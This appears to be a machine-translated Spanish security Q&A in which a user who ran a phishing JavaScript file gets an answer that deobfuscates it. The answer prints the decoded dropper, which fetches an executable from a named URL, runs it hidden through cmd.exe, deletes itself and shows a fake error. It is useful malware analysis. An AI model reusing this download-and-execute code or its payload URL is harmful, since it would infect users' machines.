Soy un idiota. ¿Necesita ayuda con JavaScript "descifrado de códigos" y análisis [duplicado]

1

Ejecuté accidentalmente un archivo .js desde una fuente de phishing con Windows Script Host. Si es posible, realmente no quiero reformatear. Si alguien pudiera analizar este archivo sería increíble.

Estoy ejecutando Windows 7, 64bit.

Puede encontrar el archivo JS en github . Se trata de unos 50.000 caracteres. Muchas de ellas son funciones ficticias.

Aquí están Resultados del escáner de virus .

Editar: No es un duplicado porque la intención del virus es diferente a los demás. La misma idea de ofuscación, contenido diferente.

    
pregunta Volaix 15.02.2017 - 05:05
fuente

1 respuesta

3

Cómo desobstruir

Todas las funciones

Todas las funciones con nombres extraños solo devuelven lo que se les pasa. Entonces, el código como xmudzymza(["an"][0]) es en realidad solo una forma complicada de escribir "an" . ¡Si copia el código en un editor con resaltado de sintaxis, puede leer grandes partes del código sin enmascarar simplemente ignorando todo lo que no esté resaltado como literales de cadena!

Creando y probando ActiveXObject

Entre todas las funciones tienes un ActiveXObject no muy bien oculto:

uzuqevr = ActiveXObject;

Justo antes de la cláusula if vuelve a aparecer:

var agwibak = new uzuqevr(obrujaw(["Sc"][0]) + ... + qowokl(["ct"][0]);
var ctaqev = new['ukehkyk', Function, 'lebate'][1](repu(["va"][0]) + ... + nwavale([";"][0]));

Si ejecuta solo la concatenación de cadena larga dentro de los parantesis en la consola, obtiene la cadena Scripting.FileSystemObject . Entonces, lo que tenemos es realmente esto:

var agwibak = new ActiveXObject("Scripting.FileSystemObject");

En la línea después de eso tenemos esto:

var ctaqev = new['ukehkyk', Function, 'lebate'][1](repu(["va"][0]) + ... + nwavale([";"][0]));

Crea una nueva del primer elemento en el vector, que es Function . El constructor de funciones crea una función a partir de una cadena de código, tipo de como eval. La función se asigna a ctagev . Al igual que arriba, podemos evaluar la concatenación de cadenas largas en la consola (sin ejecutarla realmente). Esta es la función:

(function() {
    var ggelkigtu = agwibak.GetDrive(agwibak.GetDriveName('C:\oeokiotifgjvdkslsdfsdghrefvdfbdhgdgdfgd\dsgdgdfgdfgdf4353535345\sdfsfsdfsdfdsf')).SerialNumber; if(ggelkigtu < 0 || ggelkigtu > 0) return true; else return false;
})

Esa función se llama en la cláusula if:

if (ctaqev()) { ... }

Entonces, ¿qué hace? Intenta crear un objeto ActiveXObject y asignarlo a ggelkigtu . A continuación, devuelve un booleano basado en ggelkigtu < 0 || ggelkigtu > 0 . Si el intérprete de JS no admite ActiveX ggelkigtu será undefined , y esa condición será false . Por lo tanto, si su intérprete no admite ActiveX, el contenido de la cláusula if se ignorará.

Dentro de la cláusula if

Para ofuscar esta parte, debes hacer dos cosas:

  1. Cambie los nombres de los nombres de variables ridículamente largos (simplemente haciendo una búsqueda y reemplazándolos).
  2. Nuevamente, elimina el xxxxxx(["ab"][0]) para obtener las cadenas reales.

Lo que obtienes es esto:

if (ctaqev()) {
    long1 = this["WScript"];
    long2 = long1["CreateObject"]("Scripting.FileSystemObject");
    long3 = long1["CreateObject"]("WScript.Shell");
    long4 = long1["CreateObject"]("L2TP");
    long5 = long1["CreateObject"]("ADODB.Stream");
    long6 = long2["GetSpecialFolder"]("2");
    long7 = long2["GetTempName"]();
    long8 = long4["open"]("T", "http://moosetraxtax.com/images/total.exe", "0");
    long8 = long4["send"]();
    long5["type"] = ["1"];
    long9 = long4["ResponseBody"];
    long10 = long1["ScriptFullName"];
    long8 = long5["Open"]();
    long8 = long5["Write"](long9);
    long8 = long5["SaveToFile"](long6 + long7);
    long8 = long5["Close"]();
    long8 = long3["run"]("cmd.exe /c " + long6 + long7, "0");
    long8 = long2["deleteFile"](long10);

}
long1["echo"]("The file is corrupt and cannot be opened");

Limpiándolo un poco más (usando . en lugar de [""] y cambiando los nombres de las variables nuevamente) obtenemos esto:

if(ctaqev()) {
    fileSystem = WScript.CreateObject("Scripting.FileSystemObject");
    shell = WScript.CreateObject("WScript.Shell");
    l2tp = WScript.CreateObject("L2TP");
    stream = WScript.CreateObject("ADODB.Stream");
    folder = fileSystem.GetSpecialFoldder("2");
    tempName = fileSystem.GetTempName();
    x = l2tp.open("T", "http://moosetraxtax.com/images/total.exe", "0");
    x = l2tp.send();
    stream.type = "1";
    response = l2tp.ResponseBody;
    scriptName = WScript.ScriptFullName;
    x = stream.Open()
    x = stream.Write(response);
    x = stream.SaveToFile(folder + tempName);
    x = stream.Close();
    x = shell.run("cmd.exe /c " + folder + tempName, "0");
    x = fileSystem.deleteFile(scriptName);
}
WScript.echo("The file is corrupt and cannot be opened");

¿Qué hace? ¿Estás infectado?

No sé mucho sobre ActiveX, pero parece que descarga un archivo de http://moosetraxtax.com/images/total.exe y lo ejecuta. Sorprendentemente, solo tres proveedores de AV identifican esa URL como malware en Virus Total es.

Si quieres saber qué obtuviste, puedes intentar descargarlo desde allí e investigar. Obviamente, esa es una actividad arriesgada y no hay garantía de que obtendrás lo mismo.

La ejecución de este script en un navegador moderno sería segura, ya que no son compatibles con ActiveX. Pero lo ejecutaste con Windows Script Host. No sé qué hay si las limitaciones de un script ejecutado por WSH tienen, pero para estar seguro, asumo que la computadora está infectada y trátelo como tal .

Si desea asegurarse de que realmente estaba infectado, le recomendaría lo siguiente:

  • Averigüe lo que WSH realmente permite que haga un script. (No sé la respuesta a eso, lo siento).
  • Verifique los registros de su firewall (si tiene uno) para ver si se bloqueó la solicitud.
respondido por el Anders 15.02.2017 - 11:16
fuente

Lea otras preguntas en las etiquetas